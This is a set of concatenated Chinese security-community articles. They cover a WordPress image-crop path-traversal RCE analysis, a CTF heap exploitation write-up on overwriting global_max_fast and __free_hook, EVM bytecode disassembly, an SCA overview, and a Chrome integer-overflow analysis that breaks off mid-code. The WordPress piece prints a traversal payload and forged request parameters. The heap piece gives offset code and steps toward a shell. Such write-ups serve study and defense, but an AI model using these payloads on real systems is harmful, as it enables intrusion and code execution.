### 0x01 概述
2月20日，RIPS披露了`Wordpress`内核`Image`模块相关的一个高危漏洞，该漏洞由目录穿越和文件包含组成，最终可导致远程代码执行，目前还没有PoC披露。
从`RIPS`描述的细节来看，漏洞出现在`wordpress`编辑图片时，由于没有过滤`Post Meta`
值导致可以修改数据库中`wp_postmeta`表的任意字段，而在加载本地服务器上的文件时没有对路径进行过滤，导致可以传递目录穿越参数，最终保存图片时可以保存至任意目录。当某个主题include了某目录下的文件时，便可以造成代码执行。
### 0x02 环境搭建
该漏洞影响`4.9.9`版本以下的`wordpress`程序，`4.9.9`引入了过滤函数，对用户输入的`post
data`进行了检查，不合法的参数被过滤，主要修改如下图：
值得注意的是，在安装低版本时，安装过程中会自动更新核心文件，因此旧版本的`wp-admin/includes/post.php`会更新至最新版本，所以安装过程中可以删除自动更新相关模块，或者离线安装。
### 0x03 漏洞分析
#### 漏洞一：数据覆盖
漏洞出现在wordpress媒体库裁剪图片的过程，当我们上传图片到媒体库时，图片会被保存至`wp-content/uploads/yyyy/mm`目录，同时会在数据库中wp_postmeta表插入两个值，分别是`_wp_attached_file`和`_wp_attachment_metadata`，保存了图片位置和属性相关的序列化信息。
当我们修改图片属性（例如修改标题或者说明）的时候，`admin-media-Edit more details` 会调用`wp-admin/includes/post.php`的`edit_post()`方法，该方法的参数全部来自于`$_POST`，没有进行过滤
然后会调用到`update_post_meta()`方法，该方法根据`$post_ID`修改`post meta
field`，接着调用`update_metadata()`更新`meta`数据，完成之后更新`post`数据，调用`wp_update_post()`方法
在`wp_update_post()`方法中，如果`post_type=attachment`，则进入`wp_insert_attachment()`，接着调用`wp_insert_post()`，在`wp_insert_post()`方法中判断了`meta_input`参数，如果传入了该参数，就遍历数组用来更新`post_meta`
进入`update_post_meta()`，调用`update_metadata()`，在`update_metadata()`方法中对数据库进行更新操作，而在整个过程中对键值没有任何过滤，意味着我们可以传入指定的key来设置它的值，调用栈如下图所示
于是构造数据包更新数据库中`_wp_attached_file`的值，插入一个包含`../`的值，以便在下面触发目录遍历。
这是第一个漏洞——通过参数覆盖了数据库数据，在补丁处正是对`meta_input`这个参数做了过滤，如果包含则通过对比`array`舍弃该参数。
#### 漏洞二：目录遍历
接着寻找一个获取`_wp_attached_file`的值并进行了文件操作相关的方法。
在`wordpress`的`图片裁剪`功能中，有这样的功能：
1. 图片存在于`wp-content\uploads\yyyy\mm`目录，则从该目录读取图片，修改尺寸后另存为一张图片；
2. 如果图片在该目录不存在，则通过 **本地** 服务器下载该图片，如从`http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg`下载，裁剪后重新保存。
这个功能是为了方便一些插件动态加载图片时使用。
然而因为本地读取和通过`url`读取的差异性，导致可以构造一个带参数的`url`，如`http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?1.png`，在本地读取时会发现找不到`admin.jpeg?1.png`，而远程获取时会忽略`?`后面的参数部分，照样获取到`admin.jpeg`，裁剪后保存。如果构造的url包含路径穿越，例如`http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?../../1/1.png`，`wordpress`将裁减后的图片保存至指定的文件夹，当图片包含恶意代码被引用时，就可能造成代码执行。
图片裁剪功能在`wp_crop_image()`方法中，但是该方法不能在页面中触发，需要手动更改相应的`action`
首先在页面裁剪图片，并点击保存
抓取数据包：
action=image-editor&_ajax_nonce=4c354c778b&postid=5&history=%5B%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A5%2C%22w%22%3A347%2C%22h%22%3A335%7D%7D%5D&target=all&context=edit-attachment&do=save
`post body`包含了相应的`action`和`context`，以及供还原文件的历史文件大小，此处需要修改`action`为`crop-image`以便触发`wp_crop_image()`方法，相关调用如下
在`wp-admin/admin-ajax.php`定义了裁剪图片的操作
判断了用户权限和`action`名称后调用`do_action`，最终在`apply_filters()`中进入`wp_crop_image()`:
进入`wp_ajax_crop_image()`方法，在这个方法中进行了多项判断，全部符合才能进入裁剪图片方法，如下图注释所示
首先计算`nonce`和`expected`值并对比，如果不一致就验证不通过，相关方法是`check_ajax_referer()`\-->`wp_verify_nonce()`。注意到传入`check_ajax_referer()`的`$attachment_id`参数，该参数取自`$_POST['id']`，并参与后面的`expected`计算，因此当我们直接更改`action=crop-image`是无法通过校验的，需要传入`id`的，即为`postid`的值。
在进入`wp_crop_image()`时还需要传递裁剪后的图片宽度和高度信息，所以还需要增加c`ropDetails[dst_width]`和`cropDetails[dst_height]`两个参数。
`wp_crop_image()`方法如下
从数据库取出`_wp_attached_file`后并没有做检查，形如`2019/02/admin.jpeg?../../1.png`的文件无法被找到，于是进入`_load_image_to_edit_path()`通过`wp_get_attachment_url()`方法生成本地`url`
随后实例化一个`WP_Image_Editor`用来裁剪并生成裁剪后的图片，之后调用`wp_mkdir_p()`方法创建文件夹，含有`../`的参数进入该方法后同样没有经过过滤，最终执行到`mkdir`创建文件夹
mkdir( $target, $dir_perms, true)
此时的`target`值是这个样子，穿越目录后在`2019`目录下创建`1`文件夹，并生成`cropped-1.png`文件
D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1
注意：此处有一个坑，我们观察上面的`url`，在`mkdir`的时候会把`admin.jpeg?../`作为一个目录，而在Windows下的目录不能出现`?`，所以上面的payload在Windows下无法成功，经过测试，`#`可以存在于Windows目录，因此在Windows下的payload如下所示：
meta_input[_wp_attached_file]=2019/02/admin.jpeg#../../../1/1.png
写入数据库中即为`2019/02/admin.jpeg#../../../1/1.png`
最终构造第二个数据包触发裁剪图片并保存：
最终在指定目录下生成裁剪后的图片文件，以`cropped-`作为前缀
这样子我们可以制作一张图片马，在主题文件夹下生成，或者指定任意目录，被`include`后即可造成代码执行。
### 0x04 PoC
见上面分析
### 0x05 总结
这个漏洞主要成因在于我们可以通过参数传递任意值覆盖数据库中的字段，从而引入`../`构成目录穿越，在裁剪图片后保存文件时并没有对文件目录做检查，造成目录穿越漏洞，最终可以写入恶意图片被包含或者通过`Imagick`漏洞触发远程代码执行，利用链挺巧妙，值得学习。
参考：
* <https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/>
* <https://github.com/WordPress/WordPress/commit/43bdb0e193955145a5ab1137890bb798bce5f0d2#diff-c3d5c535db5622f3b0242411ee5f9dfd> | 社区文章 |
## 前言
事情的起因还要从*ctf 2019说起，`heap_master`里能用`unsorted bin
attack`实现一次任意地址写，一开始想到的是写stdout来实现地址泄露 ，但是这样要写两次才能实现，花了很大的经历找另外一次写，仍然没有找到，很绝望。
事后看wp看到是用一次写实现对变量`global_max_fast`的覆盖，从而实现后续的利用，对`malloc`以及`free`中涉及`global_max_fast`进行了一定的分析，并结合在网上找到的相关的题目进行了相应的实践。
在开始之前向大家推荐下我写的一个框架[pwn_debug](https://github.com/ray-cp/pwn_debug)，写它的本意是方便大家的调试，主要的特点有：
1. 支持带符号调试glibc，脚本中支持安装debug版的glibc（x64和x86都支持），以实现调试的时候可以看到glibc源码。
2. 支持不同版本的glibc调试。如在ubuntu16上调试libc-2.29。
3. 下断点方便，不管程序是否开启PIE。
4. 使用方便，与pwntools兼容起来很简单（我觉得）。
## 源码分析
此次的源码是基于`libc-2.23`的，后续的版本加入了`tcache`，该机制相对来说比较简单与独立，所以还是基于2.23进行相应的分析，在64位系统上进行。
`global_max_fast`这个全局变量的作用是用来标志`fastbin`的大小的阈值，小于这个值的堆块会被认为是fastbin，使用fastbin的相应机制进行管理。看下它的定义：
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast
`set_max_fast`初始化函数开始是在`malloc_init_state`调用的，可以看到这个宏定义的作用是设置`global_max_fast`默认值，默认值是0x80。
然后看`malloc`中对于`fastbin`的处理，fastbin处理很简单，就是找到对应的fastbin的单链表，并从中取出堆块，如果size检查通过就将该堆块返回：
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx); ## 找到对应的单链表
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) ## 检查size
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p; #返回
}
}
查看free中的fastbin相关的处理源码：
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
...
## 对size进行基本的检查
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
...
## 对next chunk的size进行检查
if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...
## 获取对应的fastbin index
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
...
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
...
p->fd = old2 = old;
}
对于fastbin的free过程主要包括如下：
1. 对释放的堆块的size进行基本的检查。
2. 对释放堆块的下一个堆块的size进行基本的检查。
3. 获取释放堆块所对应的fastbin链表对应的索引。
4. 检查是否是double free。
5. 释放进单链表。
fastbin的单链表管理是比较简单的，与`global_max_fast`相关且需要注意的代码则是fastbin
所对应的index获取以及index所对应的指针获取的代码，即`fastbin_index`宏以及`fastbin`宏，对应代码如下：
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
可以看到这两个宏仅仅是利用偏移来定位数组的指针，但是arena所对应的`malloc_state`中fastbins数组相关的定义为：
mfastbinptr fastbinsY[NFASTBINS]
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
到这里问题就比较明显了，如果可以改写`global_max_fast`为一个较大的值，然后释放一个较大的堆块时，由于fastbins数组空间是有限的，其相对偏移将会往后覆盖，如果释放堆块的size可控，就可实现往fastbins数组（main_arena）后的`任意地址`写入所堆块的地址。
即利用`global_max_fast`进行相关的攻击
## 利用场景
对于`global_max_fast`的利用首先要解决的事情是如何覆盖`global_max_fast`。适用的场景应是存在任意地址写的漏洞，但是写入的地址却是不可控的（也是一个比较大的值），因为如果写入的值也是可控的话就不需要使用这个方法就能解决了，最典型的应该是`unsorted
bin attack`，可实现往任意地址写入main_arena中的地址。
前置条件我想大概可能是需要泄露一个libc的地址，否则的话可能会像`heap_master`中一样需要爆破4bit的地址。
实现任意地址写的方式是：通过地址与fastbin数组的偏移计算出所需`free`的堆块的size，然后释放相应的堆块，即可实现往该地址写入堆块的地址以进一步利用。
计算偏移的代码可以如下：
fastbin_ptr=libc_base+libc.symbols['main_arena']+8
idx=(target_addr-fastbin_ptr)/8
size=idx*0x10+0x20
此时要解决的事情是往哪里写以达到实现利用的目的。可能有很多的地方，理论上来说只要是`main_arena`结构体后面的是函数指针或是结构体指针的地址都可以，目前很容易能够预想到的是：
* _IO_list_all
* stdout
* stdin
* stderr
* __free_hook
复写前面四个就是使用`IO_file`攻击那一套方法，伪造结构体来实现任意读任意写或者伪造vtable来实现`house of orange`攻击。
复写`__free_hook`的话则需要一次uaf来修改释放进去的fd改成`system`或者`one
gadget`，再将堆块申请出来，从而实现将`__free_hook`改写成`system`或者`one gadget`。
## 实践
在网上找了一下，利用过程中涉及到`global_max_fast`的题目加上*ctf的heap_master，总共有4题：
* BCTF 2018的baby_arena
* 0CTF 2016的zerostorage
* 胖哈勃杯pwn500-house of lemon
* *CTF 2019的heap_master
其中`胖哈勃杯pwn500-house of
lemon`，在网上找了半天没找到题目，问出题的`0x9a82`师傅求题目，师傅说年代太久远了，找不到了，所以最终题目数量是三题。
### baby_arena
题目的意思比较简单，提供了三个功能分别是：`Create Order`、`Delete Order`以及`login`的功能。
漏洞也很明显，存在两个漏洞：一个是在create的时候遇到换行符就return了，没有加入`\x00`字节，导致可以泄露地址；另一个是`login`中存在一个栈溢出漏洞，不能覆盖返回地址，但是可以覆盖`user`指针，导致可以实现任意地址写的漏洞，但是该漏洞写的内容是不可控的，只能写`admin`或`clientele`字符串。
如何利用？
首先使用第一个漏洞泄露处libc的地址，根据libc的地址计算得到`global_max_fast`以及`_IO_list_all`的等地址。
然后利用任意地址写的漏洞将`global_max_fast`从0x80覆盖为`0x6E696D6461`（admin），根据偏移释放一个堆块至`_IO_list_all`，将该堆块申请出来伪造好IO_file结构，重新free至`_IO_list_all`，接下来要做的就是触发FSOP，由于申请的size都会被认为是`fastbin`，因此想要触发错误很简单，随意申请一个大小的堆块就会触发io
flush，从而getshell。
### zerostorage
这题应该是比较经典的`unsoted bin attack`题，ctf
wiki和[brieflyx](http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/)大佬的博客的writeup都有写。
值得一提的是writeup是基于老版本的内核，利用泄露出的libc地址通过偏移能够得到程序基址，目前主流的版本好像都不可以了，想了很久，找到一个只需要libc地址就能成功利用的方法，后续也会另外写一个详细的过程发出来。
此题最主要的一个漏洞就是`uaf`，在`merge`的时候`from id`和`to
id`没有进行检查，二者可以相同，导致了一个uaf漏洞的形成，从而可以实现泄露libc地址、堆地址和进行`unsorted bin attack`
在得到泄露出的地址后，利用`unsorted bin
attack`将`global_max_fast`覆盖成`main_arena`上的地址。接下来释放的堆块都会被当成fastbin往main_arena后面的地址上复写了。
但是往哪里写，前面`_IO_list_all`以及`__free_hook`这些目标的偏移所对应的size都是大于0x1000的，而题目的size是限制在0x1000以内的，使得申请出来的堆块size没法达到目标，所以没办法后续进行利用。
现有的writeup是老版本的内核中可通过libc基址得到程序基址，在程序bss段里构造伪造的fastbin从而实现泄露随机的异或key然后实现任意写。
没有程序基址如何操作呢，关键因素最后找到`merge`的时候没有对`merge`出来的size进行检查，由于堆块最大可为`0x1000`，因此最大可以merge出来0x2000大小的堆块，可以满足需求，复写到`_IO_list_all`，从而可通过伪造`io
file`，像baby_arena一样的利用方式，最终拿到shell。由于篇幅的限制，细节就不说了，会在之后的文章给出。
### heap_master
`heap_master`的[官方解](https://www.xctf.org.cn/library/details/0140928636b196af6995785bdf6de4a116c68a55/)是用`large
bin attack`，经过分析，也可以使用`unsorted bin attack`和`global_max_fast`结合起来来实现get shell。
这题首先mmap出来0x10000大小的内存，给了`add`、`edit`、`delete`三个选项，`add`函数是通过malloc申请出来一个堆块，但是`edit`以及`delete`都是对于mmap出来的堆块操作，一个很奇怪的题。
分析下来，漏洞存在的地方是可以在大的内存块中伪造堆块释放进去main_arena里，同时仍然可以`edit`，可以说是一个变相的uaf。
没有泄露，也不能控制malloc出来的堆块，如何利用呢？答案在于`unsorted bin attack`和`global_max_fast`。
具体来说，首先伪造堆块释放到`unsorted bin`里面，然后再`edit`
堆块的`bk`的后俩字节为`global_max_fast-0x10`的地址，进行`unsorted bin
attack`以实现将`global_max_fast`覆盖为`main_arena`中的地址，由于后两字节的低12字节是确定的，因此只需要爆破4
bit就可以了，还是很快的。
将`global_max_fast`复写后，我们就拥有了任意地址写堆块地址的能力，往哪里写，写哪一个堆块地址进去呢？
目前首要解决的问题仍然是如何泄露地址，此时就想到了修改`stdout`结构体里面的内容来实现任意地址泄露，原理在[文章](https://ray-cp.github.io/archivers/HCTF-2018-PWN-writeup#任意读)里描述的比较清楚了，要想实现地址泄露，需要修改`stdout` file结构体实现以下条件：
* `_IO_write_base`指向想要泄露的地方。
* `_IO_write_ptr`指向泄露结束的地址。
* `_IO_read_end`等于`_IO_write_base`以绕过限制。
此时任意地址写的目标就确定了，就是上面三个字段的地址，根据偏移将上面三个字段设置为堆地址，其中`_IO_write_base`以及`_IO_read_end`指向之前释放进`unsorted
bin`里包含libc地址的堆块的地址，`_IO_write_ptr`指向它结束的地址，完成以后，再次调用`printf`函数的时候libc地址就会泄露出来了。
泄露完成以后就好做了，由于释放堆块的size是可以随意伪造的，因此我们可以将目标定位`__free_hook`（size为0x3920），如何向该hook指针填入`system`地址呢，原理是利用uaf，具体的操作是先释放一个堆块到`__free_hook`中，此时`__free_hook`包含的是堆的地址，然后`edit`那个堆块，将它的`fd`改写成`system`地址，然后再将堆块申请出来，链表操作完成以后`system`地址的值就会填入到`__free_hook`里了，再释放一个堆块即可得到shell。
### house of lemon
很可惜没有找到题目，哪位师傅如果有的话可以联系我一下，我也想看看。题目的设计与解法0x9a82师傅在它的[博客](https://www.cnblogs.com/Ox9A82/p/7112061.html)里写的很清楚了，有需要的可以学习学习。
## 小结
文章主要描述了有关堆利用中`global_max_fast`相关的原理以及题目的解析，感觉这种方法相关的一些场景包括：
* 可能能够得到libc地址。
* 能够控制free堆块的size。
* 能往任意地址写但是却无法控制写的内容。
以此来实现往`main_arena`后面的任意地址写堆块地址的效果，以实现后续的利用，相关的漏洞利用方式包括`unsorted bin
attack`以及house of orange（IO file）等。
所有题目的链接和脚本在我的[github](https://github.com/ray-cp/ctf-pwn/tree/master/PWN_CATEGORY/heap/global_max_fast)里面，exp的编写用了[pwn_debug](https://github.com/ray-cp/pwn_debug)，因此再次向大家推荐下这个框架。
## 参考链接
1. [BCTF2018 baby_arena](https://www.jianshu.com/p/e1effb2e046e)
2. [0CTF 2016 - Zerostorage Writeup](http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/)
3. [胖哈勃杯Pwn400、Pwn500详解](https://www.cnblogs.com/Ox9A82/p/7112061.html) | 社区文章 |
### 前言
上篇我们详细分析了智能合约反汇编后的代码内容，包括多个反汇编指令的含义，数据在栈中的存储方式，并通过上下文关联关系梳理代码逻辑。本篇我们将继续分析上篇遗留的反汇编代码，通过上篇学习我们已对反汇编指令在栈和内存存储的有了一定了解，该篇我们将重点来分析反汇编指令表示的代码逻辑。
### 反汇编内容
合约源代码
pragma solidity ^0.4.24;
contract Tee {
uint256 private c;
function a() public returns (uint256) { self(2); }
function b() public { c++; }
function self(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * self(n - 1);
}
}
上篇文章中，我们对下图中蓝色框中的内容进行了详细分析，本篇我们分析红色框中的内容以及之后的反汇编指令。
### 反汇编分析
我们从label_004E开始分析，从反汇编上篇文章中可知，执行0x4e是上一步中判断后证明该函数签名是为a()函数，接下来我们来看0x4e中指令的主要含义：
（CALLVALUE）获取交易中的转账金额，（DUP1）复制转账金额值到栈顶，（ISZERO）把栈顶转账金额值出栈，如果该值是0则把1入栈，否则把0入栈。（JUMPI）这里如果转账金额值为0，（PUSH1
0x59）该段指令就会跳转到0x59；如果转账金额不为0，则顺序执行下一行指令。由此可知该段指令主要是为了判断a()函数是否存在转账操作。
执行完后，目前栈中就只存在一条数据：转账金额值
这里我们先来看label_004E顺序执行：
通过上图0055部分可以看出，PUSH1 0x00和DUP1指令在这里均无实际意义，这部分最终结果为停止执行，回滚状态。
接下来，我们来看跳转后0059指令内容：（pop）把栈顶值出栈，也就是转账金额值；（PUSH1 0x60和PUSH1
0x8a）将0x60和0x8a依次压入栈中；（JUMP）跳转到栈顶0x8a位置。
如图008a指令处，依次压入0x00，0x94，0x02，0xab，目前栈中布局如下：
4:0xab
3:0x02
2:0x94
1:0x00
0:0x60
之后JUMP指令将跳转至00AB，如上图。该段指令中：（PUSH1 0x00，PUSH1
0x01）依次将0x00和0x01压入栈；（DUP3）复制当前栈中第三个值0x02放入栈顶；（GT）把栈顶两个值出栈，先出栈的值0x02大于后出栈的值0x01，把1入栈；（ISZERO）把栈顶值1出栈，该值不是0把0入栈；继续（ISZERO）把栈顶值1出栈，该值是0把1入栈；（JUMPI）这里栈顶值为1，（PUSH1
0xbe）跳转到0xbe。
这里注意压入的0x02就是a()函数中调用self(2)函数传入的值。
接下来我们对a()函数的内部操作进行一个全面的梳理
下图为a()函数调用self()函数并赋值后的反汇编指令代码逻辑图：
上图的反汇编指令操作数值在栈中的布局如下所示：
以上两张图中指令执行逻辑均已进行标注，对于每个指令的操作含义就不一一介绍，我们直接来看分析之后，重点的指令操作。通过008A段中PUSH1
0x02将2压入栈中；00AB段中DUP3将2复制到栈顶，并利用GT指令将2和1进行了对比；00BE段中DUP4将2复制到栈顶，并利用SUB指令达到（2-1），最终得到相减的数值后继续跳转到00AB中对该值和1进行对比；接下来00B7段和00CD段没有实际意义，只是对一些数值进行调整；继续看00C8段中DUP3将复制到栈顶，并利用MUL指令将2和1（也就是2-1的值）进行相乘，并将所得值压入栈中，之后的0094段和0060段含义是将栈中数值进行调整，并将计算偏移量最终输出返回值。
故此我们可以得出a()函数的输入值后的代码逻辑为以下：
function a() public returns (uint256) { self(2); }
function self(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * self(n - 1);
}
由于汇编指令较多，这里就不进行全面分析，需要深入学习的同学可移步反汇编二：[反汇编2](https://github.com/auuunya/pictures/blob/master/%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BA%8C.sol)
### 总结
本篇文章我们分享了如何通过反汇编指令分析得到智能合约源代码逻辑，看似一段简单的智能合约代码，但反汇编出来的汇编指令却非常多。我们在之前的文章中也分享了通过分析反编译代码得到智能合约源代码逻辑，所以对于智能合约编译部署后的opcode，建议大家选择适合自己的逆向方式。
solidity智能合约逆向工具推荐：
<https://ethervm.io/decompile>
<https://contract-library.com/>
<https://github.com/crytic/ida-evm>
<https://github.com/comaeio/porosity>
<https://github.com/meyer9/ethdasm> | 社区文章 |
# 前言
过去的一年里， **SolarWinds** 和 **Kaseya** 以及 **Apache log4j**
漏洞等黑客入侵事件让软件供应链风险得到了更多的关注，也给人们敲响了新的警钟：
**无论是通过渗透软件交付管道，还是利用开源组件中现有的漏洞，攻击者都在利用供应链控制的漏洞来危害组织及其客户；安全漏洞威胁已然成为我们无法回避的问题。**
开源软件数量呈指数增长，导致我们根本无法单纯通过人力对漏洞进行筛查；且庞大的开源数量群让库间关系越发复杂，我们很难察觉到漏洞的存在。
在快速发展的时代里，效率至上是大家默认的规则。为了尽快产出，研发人员必然会采用大量的开源组件和第三方库。
与此同时，开发者更多关注自身编码是否安全可行， **却忽略了这些“外来者”的风险**
。显而易见的是，当第一个问题出现，后续影响都会接踵而来，从而引发多米诺骨牌效应，造成难以估量的经济损失。
层出不穷的软件安全事件也印证了这一点：黑客只需找到软件供应链中的一个漏洞就可以发起攻击，开发人员却要对整个软件供应链进行维护。一旦出现被攻击的情况，留给研发人员的时间便会被压缩。
**我们必须对开源漏洞的审查完成更加自动化和高效化的要求。**
为了解决开源应用威胁这一问题，SCA技术应运而生，这是目前对应用程序进行安全检测最有效的办法之一。
# SCA简介
### 01 什么是SCA
**SCA（Software Composition Analysis）** 软件成分分析，通过检测 **软件许可证** 、 **依赖项** 以及代码库中的
**已知漏洞** 和 **潜在漏洞** 来分析开源组件，使 **DevOps** 能够管理其安全风险和许可证合规性。
简单来说， **SCA** 是一项通过分析软件包含的一些信息和特征来实现对该软件的 **识别** 、 **管理** 、 **追踪** 的技术。
### 02 SCA发展历程
2002年前后出现了第一个开源手动扫描器。尽管该扫描器对提升组织代码库的可见性起到了一定的效果，但同时也会导致很高的误报率。这种错误需要人工干预来解决，与我们最初敏捷开发环境的需求相悖。
时间来到2011年，随着技术的进步，已经能够实时自动检测漏洞和许可问题。与此同时，SCA技术与软件开发工具(如存储库、构建工具、包管理器和CI服务器)集成在一起，极大程度上帮助开发人员掌握开源管理和安全性。
在随后的演进过程中，逐渐丰富了连续自动检测和安全漏洞优先级功能：当软件或者组件的已知漏洞较多时，通过自动识别最大风险的安全漏洞，组织机构可以首先解决优先事项。
直到今天， **SCA**
拥有能够自动修复安全漏洞的技术，可以帮助开发人员确定漏洞所在的位置，为修复提供有关影响构建的可能性数据，从而根据漏洞检测、漏洞严重性、 **CVSS**
评分或发布新版本时触发的安全漏洞策略启动自动修复工作流，帮助研发人员不断修补开源组件，减少已知漏洞数量，从而帮助我们远离安全漏洞风险。
### 03 SCA工作原理
**SCA** 工具可检查 **包管理器、清单文件、源代码、二进制文件、容器映像** 等。
其中，已识别的开源被编译成物料清单 **（SBOM）** ，然后将其与各种数据库进行比较。但大多数情况下， **SCA** 扫描程序是从 **CI/CD**
管道中的生成目录中读取的，有时也会位于开发人员桌面或暂存于服务器上。
**SCA**
可以采用多种策略识别代码库中来自第三方产品的文件，例如一个从已知软件产品中的文件预先计算的哈希列表。当扫描程序运行时，它会遍历计算机软件中所有文件的哈希值，并将它们与其列表进行匹配。因为每个文件的哈希值都是唯一的，所以当哈希匹配时，程序便会知道检测片段中装载了哪些组件以及相关的组件信息。
此外，许多扫描程序可以解析源文件，可以方便定位囊括在自己的代码中的专有代码片段。
由于 **SCA** 扫描程序会更新其已知漏洞列表，即使代码保持不变，每次运行扫描程序时也可能得到不同的结果。这意味着上述过程是 **可持续发展的**
，哪怕在软件上线后的几年时间里，人们依然可以依据经常更新其已知漏洞列表去发现软件中的缺陷，极大便利了研发人员对已发布软件的维护。
### 04 SCA功能
软件成分分析 **(SCA)** 是自动化对开源软件 **(Open Source Software)**
使用的可见性的过程，用于风险管理、安全性和许可证合规性。
随着所有行业软件中开源 **(Open Source)**
使用的兴起，跟踪组件的需求呈指数增长，以保护公司免受问题和开源漏洞的影响。由于大多数软件创建都包括操作系统，因此手动跟踪很困难，需要使用自动化来扫描源代码、二进制文件和依赖项。
**SCA** 解决方案允许在整个软件供应链中对开源使用进行安全风险管理，从而使安全团队和开发人员能够：
* **为所有应用创建准确的物料清单 (SBOM)**
**SBOM** 将描述应用程序中包含的组件、所用组件的版本以及每个组件的许可证类型。 **SBOM**
可帮助安全专业人员和开发人员更好地了解应用程序中使用的组件，并深入了解潜在的安全和许可问题。
* **发现并跟踪所有开源**
开源软件和许可证管理扫描工具允许公司发现源代码、二进制文件、容器、构建依赖项、子组件以及修改和开源组件中使用的所有开源。这一点尤其重要，因为公司会考虑广泛的软件供应链，包括合作伙伴、第三方供应商和其他开源项目。
* **制定和执行政策**
从开发人员到高级管理人员，开源软件许可证合规性在组织内的各个级别都至关重要。 **SCA**
强调了制定策略、响应许可证合规性和安全事件以及在整个公司范围内提供操作系统培训和知识的需求。许多解决方案能够使审批流程自动化，并设置特定的使用和补救指南。
* **启用主动和持续监控**
为了更好地管理工作负载并提高生产力，SCA 继续监控安全和漏洞问题，并允许用户针对当前和已发布产品中新发现的漏洞创建可操作的警报。
* **将开源代码扫描无缝集成到构建环境中**
在 **DevOps** 环境中集成，以便扫描代码并识别构建环境中的依赖项。
# SCA价值
### 01 SCA必要性
作为互联网研发公司，我们很难避免使用开源软件。但大多数开源软件都存在漏洞，且许多开源产品经过二次研发后，构成了由多个不同组件或包组成的复杂生态系统。
例如，使用 **Linux，Apache** 或 **Node.js**
的公司很可能有数百甚至数千个不同的软件包，这些软件包不是统一的，每一个都有自己的许可要求。
尽管使用容易被攻击的软件或错误的许可证会造成严重的后果，但事实上，我们甚至不知道研发过程中使用哪些第三方软件。
**未知才是最大的风险，谁也不知道这座沉寂的火山会在何时喷发。**
为了避免安全漏洞带来巨大的经济损失，我们必须进行软件成分分析。目前无论是开源版本还是商业版本， **SCA**
都能识别大多数第三方组件。因其能解决开源软件所涉及的风险，现已广泛应用于软件研发的生命周期。
### 02 SCA重要性
**SCA** 的重要性在于它提供的 **安全性** 和 **高效性** 。
手动跟踪开源代码理论上并非不可能，但这需要消耗不必要的人力和精力，面对当前开源的数量绝对不是最佳的方案。
所以，随着技术的进步， **SCA** 技术逐渐完善自动化的高要求，以更好服务于软件研发周期。
软件成分分析是任何安全开发生命周期的标准基本部分。及早发现问题可以降低成本，提高敏捷性，使软件更安全，并帮助开发人员学会将安全性纳入其规划和设计决策中，对于维护软件安全起到了重要作用。
* * *
感谢每一位开源社区成员对OpenSCA的支持和贡献。
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者，也可提交问题或建议至Issues。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/releases>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases>
OpenSCA官网：
<https://opensca.xmirror.cn/> | 社区文章 |
# Chrome issue-1793分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Chrome的`issue-1793`报告了一个`整数溢出`的漏洞，本文将简单对此`issue`进行分析。
## 漏洞分析
在`v8/src/heap/factory.cc`文件的`NewFixedDoubleArray`函数中可以发现开发人员对`length`进行了长度的检查，即`DCHECK_LE(0,
length)`。但由于`DCHECK`只在`debug`中起作用，而在`release`中并不起作用，则该检查对正式版本并没有什么作用。如果`length`为负数，则会绕过`if
(length > FixedDoubleArray::kMaxLength)`的检查，而由于`int size =
FixedDoubleArray::SizeFor(length)`会使用`length`来计算出`size`，如果我们合理控制`length`，则可以让`size`计算出来为正数。
// v8/src/heap/factory.cc
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,PretenureFlag pretenure) {
DCHECK_LE(0, length); // ***here***
if (length == 0) return empty_fixed_array();
if (length > FixedDoubleArray::kMaxLength) { // ***here***
isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
}
int size = FixedDoubleArray::SizeFor(length); // ***here***
Map map = *fixed_double_array_map();
HeapObject result =
AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
